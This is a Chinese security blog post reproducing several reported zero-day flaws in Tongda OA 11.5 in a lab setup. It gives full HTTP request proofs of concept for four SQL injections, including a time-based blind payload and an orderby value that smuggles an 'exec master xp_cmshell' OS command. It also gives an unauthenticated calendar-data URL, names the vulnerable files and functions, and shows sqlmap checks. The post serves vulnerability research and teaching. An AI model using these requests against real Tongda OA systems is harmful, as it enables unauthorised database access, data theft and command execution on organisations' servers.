通达OA多枚0day漏洞复现

  • A+
所属分类:安全漏洞

通达OA多枚0day漏洞复现




刚刚群里发了一篇文章-研究复现一波,通达OA多枚0day漏洞poc出来了。


影响范围:通达OA11.5版本


通达OA多枚0day漏洞复现


一、环境搭建:

安装11.5版本

通达OA多枚0day漏洞复现

通达OA多枚0day漏洞复现

通达OA多枚0day漏洞复现

通达OA多枚0day漏洞复现

安装完成:

通达OA多枚0day漏洞复现

服务器配置:

通达OA多枚0day漏洞复现

通达OA多枚0day漏洞复现

访问IP服务正常:

通达OA多枚0day漏洞复现

成功登录系统:

通达OA多枚0day漏洞复现


二、漏洞验证复现


漏洞一:SQL注入 POC:

POST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1

问题关键参数:starttime=12&endtime=15&view=month&condition=1

P

OST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1Host: 192.168.0.107User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: PHPSESSID=rsgpd6j2u0a2qsqbjilv1nln44; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=81d423f8Upgrade-Insecure-Requests: 1Content-Length: 152
starttime=12&endtime=15&view=month&condition=1
starttime=AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])---&endtime=1598918400&view=month&condition=1

详细的注入参数点:

通达OA多枚0day漏洞复现

sqlmap验证:

通达OA多枚0day漏洞复现

漏洞文件:

webrootgeneralappbuildermodulescalendarmodelsCalendar.php




漏洞二:SQL注入 POC:

GET /general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=admint&orderby=exec master xp_cmshell'ping 127.0.0.1'--&pagelimit=20&tag=&timestamp=1598069133&total= HTTP/1.1

问题关键参数:orderby

GET /general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=admint&orderby=exec master xp_cmshell'ping 127.0.0.1'--&pagelimit=20&tag=×tamp=1598069133&total= HTTP/1.1Host: 192.168.0.107User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: PHPSESSID=rsgpd6j2u0a2qsqbjilv1nln44; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=81d423f8Upgrade-Insecure-Requests: 1

手工注入闭合报错:

通达OA多枚0day漏洞复现

burp参数查询,回现报错

sqlmap验证,(多次跑了一下)未验证成功。可以试试其他版本。

漏洞文件:webrootincutility_email.php,get_sentbox_data函数接收传入参数未过滤,直接拼接在order by后面了造成注入。




漏洞三:SQL注入 POC:

GET /general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pagelimit=10&tag=&timestamp=1598069103&total= HTTP/1.1

问题关键参数:orderby

GET /general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pagelimit=10&tag=×tamp=1598069103&total= HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://192.168.43.169Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ffAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflateHost: 192.168.43.169User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36Connection: close

手工注入闭合报错:

通达OA多枚0day漏洞复现

burp参数查询,回现报错

sqlmap验证,(多次跑了一下)未验证成功。可以试试其他版本。

漏洞文件:webrootincutility_email.php,get_email_data函数传入参数未过滤,直接拼接在order by后面了造成注入。


漏洞三和漏洞四,参数结果一样可能是这个影响,本地验证未成功。(个人复现情况)

开始看见sql注入2和sql注入3,我以为是是一样的,详细看了还是有差别,功能点参数相似。

通达OA多枚0day漏洞复现




漏洞四:SQL注入 POC:

GET /general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2 HTTP/1.1

问题关键参数:id

GET /general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://192.168.43.169Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ffAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflateHost: 192.168.43.169User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36Connection: close

本地的数据库,相关信息不多

通达OA多枚0day漏洞复现


sqlmap验证:

通达OA多枚0day漏洞复现


漏洞文件:webrootgeneralappbuildermodulesreportcontrollersRepdetailController.php,actionEdit函数中存在 一个$_GET["id"];  未经过滤,拼接到SQL查询中,造成了SQL注入。




漏洞五:未授权访问:

http://127.0.0.1/general/calendar/arrange/get_cal_list.php?starttime=1595779200&endtime=1599408000&view=agendaDay

本地参数没有成功:可能是本地的环境是刚刚搭建,本地的时间没有相关的数据。

通达OA多枚0day漏洞复现


再次确认问题点:未授权访问各种会议通知信息,由于本地的环境是新的没有相关的,没有相关的会议消息,所以不能访问到数据。


参考文章:

安译Sec(https://mp.weixin.qq.com/s/3bI7v-hv4rMUnCIT0GLkJA)


免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

通达OA多枚0day漏洞复现

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

个人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: